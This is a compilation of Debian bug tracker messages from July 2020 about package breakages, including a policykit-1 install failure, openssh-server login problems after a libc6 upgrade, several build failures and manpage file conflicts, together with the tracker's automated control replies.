iQQzBAEBCgAdFiEEIwTlZiOEpzUxIyp4mD40ZYkUaygFAl8K8CoACgkQmD40ZYkU
ayjqYB/8DEDcy00fiZAOargIvsc9Zaa/qs96OzJETUhvysa9yXHvw9IkQF1WezsF
kvSQk/gxRAVkwi35czTp0aq44qxVWnu4b6TZUXVYUh4FERDMuTLW5OUI1DJaC4L0
PcittxXIRJuok8D5P96HDi+eOdG9hAdIwVwNBxaIHm3HUcENpeBpkt+pGVWKkIuL
/gigo6ZOiDFooiF6qKgbk8pC0ShnLpypg4RqbCSaaPAvkCQtQ/V/AjvVaeY/tqtL
jAwRzB0d5m1SW7wBe/m7xufe6bF06qPtxluNs3ajazUYV8BZodZg3gTU37/+KC96
okX+zjGY881Sqt0hOXH9w+qLTce/f8zt38FP8wz+YdrEh37Fryikx++pFbiinpcO
Yv4/+VQdUCB0Q4nueBVHdBlKGW0yA9RrZiUPTYVtfvtNeb9NSr7iDiz2rKaD9ZAh
X5EM6lqgw7QSuMZHGkyNZToDbaoLECcg4FI/iF2Hnzgd++ut/JFfuZbJPWKc5lKU
5fZhS9v/N1LWLgOK38nRW8T+yowCHtjY0u2OHzqmbdzK1SfIjoKC1pBwp6lnJb4C
2EiO7xLQ7xUUY/BBYRKIjtzXpwbzI6mn1RVKieipg1/fhUuha8ucnkg0KJXTeo7x
BNRHQOkJwznYk/169ZzElwAtoH+jgPFXuwHxu6cCJzu+I/TCZ2Y3Mhbb9vwz6wS+
cgkBBNRaCfvnzIQlIr+58d6Lnq32fzg3iIfset2//OXVW5aa5j/jXielVcmtDzCW

Bug#965164: (no subject)

[Cody Brownstein]

Michael Biebl:
> Sorry for all the inconvenience :-/
> I clearly didn't test this properly.

It's a risk we always face running unstable. :-)

Is there a suggested fix for those who entirely cannot boot into their
system to upgrade the broken package?

During boot with the broken package installed, I get:

  [FAILED] Failed to start Authorization Manager.

Bug#965180: openssh-server: Incompatible with libc6=2.31-1, doesn't allow to login!

[Philipp Marek]

I agree it might be worth backporting this fix, but why would you be
updating libc on stable?  (The only reason I can think of would be
partial upgrades to bullseye, which is hardly Severity: critical yet.)


I did

   # apt-get upgrade -t stable

got a new libc, and SSH broke.


What data might be helpful?
(Apart from the version numbers I had in my report already)

Bug#965180: openssh-server: Incompatible with libc6=2.31-1, doesn't allow to login!

[Philipp Marek]

oh, sorry, libc actually is from unstable...

why was that installed with "apt upgrade -t stable"?

Bug#965193: [Pkg-utopia-maintainers] Bug#965193: Bug#965193: policykit-1: fails to install: chown error on /usr/lib/policykit-1/polkit-agent-helper-1

[Vincent Lefevre]

On 2020-07-17 16:47:33 +0200, Michael Biebl wrote:
> Am 17.07.20 um 16:29 schrieb Michael Biebl:
> > Am 17.07.20 um 15:29 schrieb Vincent Lefevre:
> >> Note: The bug is not present in 0.105-26, thus this is a different
> >> bug from 965164 (or the metadata have been messed up in bug 965164,
> >> which is ignored by apt-listbugs when upgrading from 0.105-26).
> > 
> > No idea why the merge messed up the found version.
> 
> I guess this happened because of
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965164#20
> 
> Package: policykit-1
> Version: 0.105-26

Yes, probably (this seems to be the only reference to 0.105-26).

BTW, the bug can be closed again as fixed in 0.105-28. This version
has just appeared for upgrade, and I confirm that the upgrade from
0.105-26 to 0.105-28 is fine.

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Processed: 936508 versions

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> fixed 936508 fdb/2.0.0-1.1
Bug #936508 [src:fdb] fdb: Python2 removal in sid/bullseye
Marked as fixed in versions fdb/2.0.0-1.1.
> found 936508 fdb/2.0.1-1
Bug #936508 [src:fdb] fdb: Python2 removal in sid/bullseye
Ignoring request to alter found versions of bug #936508 to the same values 
previously set
>
End of message, stopping processing here.

Please contact me if you need assistance.
-- 
936508: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=936508
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#965193: [Pkg-utopia-maintainers] Bug#965193: Bug#965193: policykit-1: fails to install: chown error on /usr/lib/policykit-1/polkit-agent-helper-1

[Michael Biebl]

Am 17.07.20 um 16:29 schrieb Michael Biebl:
> Control: notfound 965164 0.105-26
> Control: forcemerge -1 965164
> 
> Am 17.07.20 um 15:29 schrieb Vincent Lefevre:
>> Note: The bug is not present in 0.105-26, thus this is a different
>> bug from 965164 (or the metadata have been messed up in bug 965164,
>> which is ignored by apt-listbugs when upgrading from 0.105-26).
> 
> No idea why the merge messed up the found version.

I guess this happened because of
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965164#20

Package: policykit-1
Version: 0.105-26



signature.asc
Description: OpenPGP digital signature

Bug#964670: gsettings-qt: FTBFS: QQmlComponent: Component is not ready

[Boyuan Yang]

Control: reopen 964670
X-Debbugs-CC: sunwea...@debian.org

Hi Mike,

It seems that the latest upload still did not solve this problem and
all buildd builds are failing.

-- 
Thanks,
Boyuan Yang


signature.asc
Description: This is a digitally signed message part

Processed: Re: Bug#964670: gsettings-qt: FTBFS: QQmlComponent: Component is not ready

[Debian Bug Tracking System]

Processing control commands:

> reopen 964670
Bug #964670 {Done: Mike Gabriel } [src:gsettings-qt] 
gsettings-qt: FTBFS: QQmlComponent: Component is not ready
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions gsettings-qt/0.2-2.

-- 
964670: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964670
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: 936508 versions

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> notfound 936508 fdb/2.0.0-1.1
Bug #936508 [src:fdb] fdb: Python2 removal in sid/bullseye
Ignoring request to alter found versions of bug #936508 to the same values 
previously set
> found 936508 fdb/2.0.1-1
Bug #936508 [src:fdb] fdb: Python2 removal in sid/bullseye
Marked as found in versions fdb/2.0.1-1.
>
End of message, stopping processing here.

Please contact me if you need assistance.
-- 
936508: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=936508
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#964650: marked as done (pydicom: FTBFS: dh_auto_test: error: pybuild --test --test-pytest -i python{version} -p 3.8 returned exit code 13)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 14:38:28 +
with message-id 
and subject line Bug#964650: fixed in pydicom 2.0.0-1
has caused the Debian Bug report #964650,
regarding pydicom: FTBFS: dh_auto_test: error: pybuild --test --test-pytest -i 
python{version} -p 3.8 returned exit code 13
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
964650: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964650
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: pydicom
Version: 1.4.1-1
Severity: serious
Justification: FTBFS on amd64
Tags: bullseye sid ftbfs
Usertags: ftbfs-20200709 ftbfs-bullseye

Hi,

During a rebuild of all packages in sid, your package failed to build
on amd64.

Relevant part (hopefully):
> make[1]: Entering directory '/<>'
> dh_auto_build
>   pybuild --build --test-pytest -i python{version} -p 3.8
> I: pybuild base:217: /usr/bin/python3 setup.py build 
> running build
> running build_py
> copying dicom.py -> /<>/.pybuild/cpython3_3.8_pydicom/build
> creating /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/filereader.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/errors.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/_dicom_dict.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/__init__.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/uid.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/filebase.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/multival.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/misc.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/dataelem.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/dicomio.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/_uid_dict.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/compat.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/_version.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/tag.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/jsonrep.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/dataset.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/values.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/config.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/sequence.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/filewriter.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/_private_dict.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/datadict.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/valuerep.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/fileutil.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/_storage_sopclass_uids.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/charset.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/encaps.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> copying pydicom/dicomdir.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom
> creating 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom/pixel_data_handlers
> copying pydicom/pixel_data_handlers/__init__.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom/pixel_data_handlers
> copying pydicom/pixel_data_handlers/util.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom/pixel_data_handlers
> copying pydicom/pixel_data_handlers/jpeg_ls_handler.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom/pixel_data_handlers
> copying pydicom/pixel_data_handlers/numpy_handler.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom/pixel_data_handlers
> copying pydicom/pixel_data_handlers/pillow_handler.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom/pixel_data_handlers
> copying pydicom/pixel_data_handlers/gdcm_handler.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom/pixel_data_handlers
> copying pydicom/pixel_data_handlers/rle_handler.py -> 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom/pixel_data_handlers
> creating 
> /<>/.pybuild/cpython3_3.8_pydicom/build/pydicom/overlay_data_handlers
> copying pydicom/overlay_data_handlers/__init__.py -> 
> 

Processed: Re: [Pkg-utopia-maintainers] Bug#965193: policykit-1: fails to install: chown error on /usr/lib/policykit-1/polkit-agent-helper-1

[Debian Bug Tracking System]

Processing control commands:

> notfound 965164 0.105-26
Bug #965164 {Done: Michael Biebl } [policykit-1] policykit-1: 
fails to install
Bug #965165 {Done: Michael Biebl } [policykit-1] policykit-1: 
polkit.service broken after switch to /usr/libexec
No longer marked as found in versions policykit-1/0.105-26.
No longer marked as found in versions policykit-1/0.105-26.
> forcemerge -1 965164
Bug #965193 [policykit-1] policykit-1: fails to install: chown error on 
/usr/lib/policykit-1/polkit-agent-helper-1
Bug #965164 {Done: Michael Biebl } [policykit-1] policykit-1: 
fails to install
Severity set to 'grave' from 'serious'
Severity set to 'grave' from 'serious'
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions policykit-1/0.105-28.
No longer marked as fixed in versions policykit-1/0.105-28.
Bug #965165 [policykit-1] policykit-1: polkit.service broken after switch to 
/usr/libexec
Marked as fixed in versions policykit-1/0.105-28.
Marked as fixed in versions policykit-1/0.105-28.
Bug #965193 [policykit-1] policykit-1: fails to install: chown error on 
/usr/lib/policykit-1/polkit-agent-helper-1
Marked as fixed in versions policykit-1/0.105-28.
Added tag(s) patch.
Merged 965164 965165 965193

-- 
965164: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965164
965165: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965165
965193: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965193
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#965193: [Pkg-utopia-maintainers] Bug#965193: policykit-1: fails to install: chown error on /usr/lib/policykit-1/polkit-agent-helper-1

[Michael Biebl]

Control: notfound 965164 0.105-26
Control: forcemerge -1 965164

Am 17.07.20 um 15:29 schrieb Vincent Lefevre:
> Note: The bug is not present in 0.105-26, thus this is a different
> bug from 965164 (or the metadata have been messed up in bug 965164,
> which is ignored by apt-listbugs when upgrading from 0.105-26).

No idea why the merge messed up the found version.

Fixing that and merging accordingly.



signature.asc
Description: OpenPGP digital signature

Bug#964908:

[Thomas Kotzian]

i have narrowed to problem down to an old version of the bnd tool.

bnd in the debian repos is 3.5.0 - which seemed to work for tomcat9 up to 
9.0.36.

tomcat9 9.0.37 changed the format of the bnd-file 
res/bnd/tomcat-coyote.jar.tmp.bnd to use the instruction "-includepackage:" 
which is only found in bnd 4.x and newer.

the solution to the problem seems an update to bnd debian package or using 
tomcat bnd 5.1.1 which gets downloaded in the official builds.

Processed: py2removal bugs severity updates - 2020-07-17 13:45:31.171797+00:00

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> # This is an automated script, part of the effort for the removal of Python 2 
> from bullseye
> #  * https://wiki.debian.org/Python/2Removal
> #  * http://sandrotosi.me/debian/py2removal/index.html
> # See https://lists.debian.org/debian-devel-announce/2019/11/msg0.html
> # and https://lists.debian.org/debian-python/2019/12/msg00076.html
> # and https://lists.debian.org/debian-python/2020/03/msg00087.html
> # mail threads for more details on this severity update
> # python-configparser is a module and has 0 external rdeps or not in testing
> severity 936326 serious
Bug #936326 [src:configparser] configparser: Python2 removal in sid/bullseye
Severity set to 'serious' from 'normal'
>
End of message, stopping processing here.

Please contact me if you need assistance.
-- 
936326: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=936326
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#965193: policykit-1: fails to install: chown error on /usr/lib/policykit-1/polkit-agent-helper-1

[Vincent Lefevre]

Note: The bug is not present in 0.105-26, thus this is a different
bug from 965164 (or the metadata have been messed up in bug 965164,
which is ignored by apt-listbugs when upgrading from 0.105-26).

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Bug#965193: policykit-1: fails to install: chown error on /usr/lib/policykit-1/polkit-agent-helper-1

[Florent Rougon]

Hello,

Same problem here, please provide a fix. Thanks.

-- 
Florent

Bug#965183: marked as done (python3-intake{,-doc}: both ship /usr/share/man/man1/intake.1.gz)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 13:18:38 +
with message-id 
and subject line Bug#965183: fixed in intake 0.6.0-3
has caused the Debian Bug report #965183,
regarding python3-intake{,-doc}: both ship /usr/share/man/man1/intake.1.gz
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
965183: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965183
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: python3-intake,python3-intake-doc
Version: 0.6.0-2
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package failed to install
because it tries to overwrite other packages files.

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package python3-intake-doc.
  Preparing to unpack .../11-python3-intake-doc_0.6.0-2_all.deb ...
  Unpacking python3-intake-doc (0.6.0-2) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-7wFr5I/11-python3-intake-doc_0.6.0-2_all.deb (--unpack):
   trying to overwrite '/usr/share/man/man1/intake.1.gz', which is also in 
package python3-intake 0.6.0-2
  Errors were encountered while processing:
   /tmp/apt-dpkg-install-7wFr5I/11-python3-intake-doc_0.6.0-2_all.deb

cheers,

Andreas


python3-intake=0.6.0-2_python3-intake-doc=0.6.0-2.log.gz
Description: application/gzip
--- End Message ---
--- Begin Message ---
Source: intake
Source-Version: 0.6.0-3
Done: Andreas Tille 

We believe that the bug you reported is fixed in the latest version of
intake, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 965...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Andreas Tille  (supplier of updated intake package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Fri, 17 Jul 2020 14:54:41 +0200
Source: intake
Architecture: source
Version: 0.6.0-3
Distribution: unstable
Urgency: medium
Maintainer: Debian Med Packaging Team 

Changed-By: Andreas Tille 
Closes: 965183
Changes:
 intake (0.6.0-3) unstable; urgency=medium
 .
   * Team upload.
   * Install manpages only in python3-intake
 Closes: #965183
Checksums-Sha1:
 6d475700a0046e791cebed313833395972e183b3 2441 intake_0.6.0-3.dsc
 b3474a31c6ce629805c59cb7d4d1c98a450dcec1 9652 intake_0.6.0-3.debian.tar.xz
 7a53c6690e3e293ed6f73278c46c4f13274495f9 8682 intake_0.6.0-3_amd64.buildinfo
Checksums-Sha256:
 fc4d4fe391b4daeef43aac8280829d5522c272e1dc5f2ed82899c237789e08ee 2441 
intake_0.6.0-3.dsc
 4df5c5f0642e25e8383913181b3e1011b1b683b5a3626b2ee5a35be0ded809d0 9652 
intake_0.6.0-3.debian.tar.xz
 c942d9970d372ce4d40ef744b9eab12ca716000217177197e62da0ff59702902 8682 
intake_0.6.0-3_amd64.buildinfo
Files:
 35b288494f3a69d183dc6bba8d0b2e9a 2441 science optional intake_0.6.0-3.dsc
 73d0228ea85eed2c9beb4f6de0f90470 9652 science optional 
intake_0.6.0-3.debian.tar.xz
 7b10f9e006ff157093598e6b121e8bd3 8682 science optional 
intake_0.6.0-3_amd64.buildinfo

-BEGIN PGP SIGNATURE-

iQJFBAEBCAAvFiEE8fAHMgoDVUHwpmPKV4oElNHGRtEFAl8RoX8RHHRpbGxlQGRl
Ymlhbi5vcmcACgkQV4oElNHGRtHoyhAAjjTMURibczzVob8oZSvqUngIXnmz+gin
PqqNkBp1f7fQD85VMZzIRjSuCV6rzDxBrRC3YqU3B8g+AKQnoFpoMSFhpuAV2GrD
VSc2XZc3BjtIbn5sKsmruVmkk+C7qlL+DWXBi4GpOnxQIq3nXLmwX1EBvHJDkEzC
cUW4wmQLr50oQ19bmlqM/ElP2saHUJoOhbyKnXIjzqG7QkGWaml7O7+TWa6d1t4V
DNzpWl0xV5oza+KAulWZd3sVPDd7D8JnvvmU1Tl9xMAT94/5SxG6fwhD7DTnnuQa
ywuvoX/EgMM4ESgQgugdgQsqFgWhGdzB1nUfCfj8nESoHm4wJMH5QUfyQ9F6C9f2
OMgXow1FeIYHujpgRgVBjVGrB5Ft/H5t9rtK77r0Rvt5C0VYuKbNNZJRWql735Iy
F+UIl5rsMtJzrpHLRHXyphedbwPlqtISD/D3eYOJ+2AddpBZkX63MbkH+nLKJsUr
cbDjupMLA7rUI4RrAloX9eW0kXnR8fSm4wAbs/annAylQvLoEVUQ3sS1hce3VRYN
1B/0Gsnme2nfgdO8V820T1CuANeVxzbaGMz3Fs9r+fJ1XqeAUrrAzOdsAfhCrpiE
MJc8+qWk0OsUs+NU0ar7sn4XDcr27rcNQsVx5dUZguEHaCK0YDG6DB0yg9y9OY+n
NwWXcfBViPo=
=Rq6i
-END PGP SIGNATURE End Message ---

Bug#965193: policykit-1: fails to install: chown error on /usr/lib/policykit-1/polkit-agent-helper-1

[Vincent Lefevre]

Package: policykit-1
Version: 0.105-27
Severity: grave
Justification: renders package unusable

policykit-1 cannot be installed:

[...]
Setting up policykit-1 (0.105-27) ...
chown: cannot access '/usr/lib/policykit-1/polkit-agent-helper-1': No such file 
or directory
dpkg: error processing package policykit-1 (--configure):
 installed policykit-1 package post-installation script subprocess returned 
error exit status 1
[...]

and at the end:

E: Sub-process /usr/bin/dpkg returned an error code (1)
Setting up policykit-1 (0.105-27) ...
chown: cannot access '/usr/lib/policykit-1/polkit-agent-helper-1': No such file 
or directory
dpkg: error processing package policykit-1 (--configure):
 installed policykit-1 package post-installation script subprocess returned 
error exit status 1
dpkg: dependency problems prevent configuration of network-manager:
 network-manager depends on policykit-1; however:
  Package policykit-1 is not configured yet.

dpkg: error processing package network-manager (--configure):
 dependency problems - leaving unconfigured
[...]
Errors were encountered while processing:
 policykit-1
 network-manager

-- System Information:
Debian Release: bullseye/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'stable-updates'), (500, 
'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.7.0-1-amd64 (SMP w/12 CPU threads)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE, 
TAINT_UNSIGNED_MODULE
Locale: LANG=POSIX, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages policykit-1 depends on:
ii  dbus 1.12.20-1
ii  libc62.31-1
ii  libexpat12.2.9-1
ii  libglib2.0-0 2.64.4-1
ii  libpam-systemd [logind]  245.6-3
ii  libpam0g 1.3.1-5
ii  libpolkit-agent-1-0  0.105-27
ii  libpolkit-gobject-1-00.105-27
ii  libsystemd0  245.6-3

policykit-1 recommends no packages.

policykit-1 suggests no packages.

Versions of packages policykit-1 is related to:
pn  elogind 
pn  libpam-elogind  
ii  libpam-systemd  245.6-3
ii  systemd 245.6-3

-- no debconf information

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Processed: Re: Bug#964650: pydicom: FTBFS: dh_auto_test: error: pybuild --test --test-pytest -i python{version} -p 3.8 returned exit code 13

[Debian Bug Tracking System]

Processing control commands:

> tags -1 help
Bug #964650 [src:pydicom] pydicom: FTBFS: dh_auto_test: error: pybuild --test 
--test-pytest -i python{version} -p 3.8 returned exit code 13
Added tag(s) help.

-- 
964650: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964650
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#964650: pydicom: FTBFS: dh_auto_test: error: pybuild --test --test-pytest -i python{version} -p 3.8 returned exit code 13

[Andreas Tille]

Control: tags -1 help

Hi,

the new upstream version I've just pushed to git solves the issue
that is reported here, but I'm running into a different issue:

   TypeError: data type 'uint15' not understood

Any help is welcome

Andreas.

-- 
http://fam-tille.de

Bug#965182: marked as done (python3-enlighten{,-doc}: both ship usr/share/man/man1/enlighten.1.gz)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 12:34:38 +
with message-id 
and subject line Bug#965182: fixed in enlighten 1.6.0-2
has caused the Debian Bug report #965182,
regarding python3-enlighten{,-doc}: both ship usr/share/man/man1/enlighten.1.gz
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
965182: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965182
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: python3-enlighten,python3-enlighten-doc
Version: 1.6.0-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package failed to install
because it tries to overwrite other packages files.

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package python3-enlighten-doc.
  Preparing to unpack .../8-python3-enlighten-doc_1.6.0-1_all.deb ...
  Unpacking python3-enlighten-doc (1.6.0-1) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-ehxw9N/8-python3-enlighten-doc_1.6.0-1_all.deb (--unpack):
   trying to overwrite '/usr/share/man/man1/enlighten.1.gz', which is also in 
package python3-enlighten 1.6.0-1
  Errors were encountered while processing:
   /tmp/apt-dpkg-install-ehxw9N/8-python3-enlighten-doc_1.6.0-1_all.deb


cheers,

Andreas


python3-enlighten=1.6.0-1_python3-enlighten-doc=1.6.0-1.gz
Description: application/gzip
--- End Message ---
--- Begin Message ---
Source: enlighten
Source-Version: 1.6.0-2
Done: Andreas Tille 

We believe that the bug you reported is fixed in the latest version of
enlighten, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 965...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Andreas Tille  (supplier of updated enlighten package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Fri, 17 Jul 2020 14:10:09 +0200
Source: enlighten
Architecture: source
Version: 1.6.0-2
Distribution: unstable
Urgency: medium
Maintainer: Debian Med Packaging Team 

Changed-By: Andreas Tille 
Closes: 965182
Changes:
 enlighten (1.6.0-2) unstable; urgency=medium
 .
   * Team upload.
   * Install manpage in python3-enlighten only
 Closes: #965182
Checksums-Sha1:
 4b37180d0eaa4d237b4bc7324f74f5e4872dc76c 2305 enlighten_1.6.0-2.dsc
 5b965bd5496a613248797f15743e0784e9790941 7108 enlighten_1.6.0-2.debian.tar.xz
 713310af41863244ee40ee88ccc524c561845a88 8087 enlighten_1.6.0-2_amd64.buildinfo
Checksums-Sha256:
 f95b393ba3c620f8184568bb22803785aa784f532b2b27ccb4f5cd911eb5d1f1 2305 
enlighten_1.6.0-2.dsc
 607e3cac636c1090c1f3550683cff71aad6e7370aeb67f1fa6e260216d8e8ce5 7108 
enlighten_1.6.0-2.debian.tar.xz
 f9f8be1afccca048dcb00450613749f06a20e435d39c91ddc9756473ff53bc38 8087 
enlighten_1.6.0-2_amd64.buildinfo
Files:
 8c92719dacf145282a70bd0f863abf67 2305 science optional enlighten_1.6.0-2.dsc
 59ece249dc11e4be452e9b8668f6330a 7108 science optional 
enlighten_1.6.0-2.debian.tar.xz
 05e5486491dd986044dd6bfcfcb832cc 8087 science optional 
enlighten_1.6.0-2_amd64.buildinfo

-BEGIN PGP SIGNATURE-

iQJFBAEBCAAvFiEE8fAHMgoDVUHwpmPKV4oElNHGRtEFAl8Rlh8RHHRpbGxlQGRl
Ymlhbi5vcmcACgkQV4oElNHGRtG+4RAAglj0JIeDz2Hyr/6oqfDCubQqvA1S4Rd0
bk+0UkW8nV4CTDSqdz79i/n6+IRAC5aud2Vu9hGKVtT8z6r9atB5J/CNBuyh53Gd
DmhvVuMIAo9wtTzOBb+1ImbZ60IsOyIota56saOsEtn9UgVV1nAy80QhPTHD8IsK
muAIWTHsflwnCo0CAZad0W5cxYfUxD+9h4ZQMOFwdJcQs3pTHWB3lS/DbPYt+dxs
IMef7QEdAPG8Zc3ahRe7MsQ/92A1rplxMS42+Kv7wyit4IZenUzoHq/Bz5yBEHxH
w3dKgar0cxps/nGqgKfbf+1e7jn7/rBOe5xe8GAiIo3xevzfE3TpvYfHZvvuj4Cm
H1MYy+uUz1BIVUMF2NgWVslPfHBsGLhr24mDVHXjVmg5W/I3NwXpR1lKTeeVrS4F
phE/VH8nb2IUzWfd9BiDGgXHTWmF9ceL+S5F2oeK5gPkd1yDiwC+SM5EOoNyShLg
Diq0j77WMSozqzdVF+w7rglj6H1gYwLLKaZ3AmIDHkAnhPmxMwaTYOf/2SZBkWL4
NV4NzOv8fvlzo8dkg2nhTBefZVSfvphEhYy5z+nNbQ9+p5yf2XibTRw5cAzD+nw2
F69P1vlc5xqpJdaWcsZc9PWZ73ckEB5kWsJrukBKhmijfW+8zA+FttenEhHvXD/O
asBa5Zp+sVQ=
=2dPW
-END PGP SIGNATURE End Message ---

Bug#965180: openssh-server: Incompatible with libc6=2.31-1, doesn't allow to login!

[Philipp Marek]

Package: openssh-server
Version: 1:7.9p1-10+deb10u2
Severity: critical
Justification: breaks the whole system


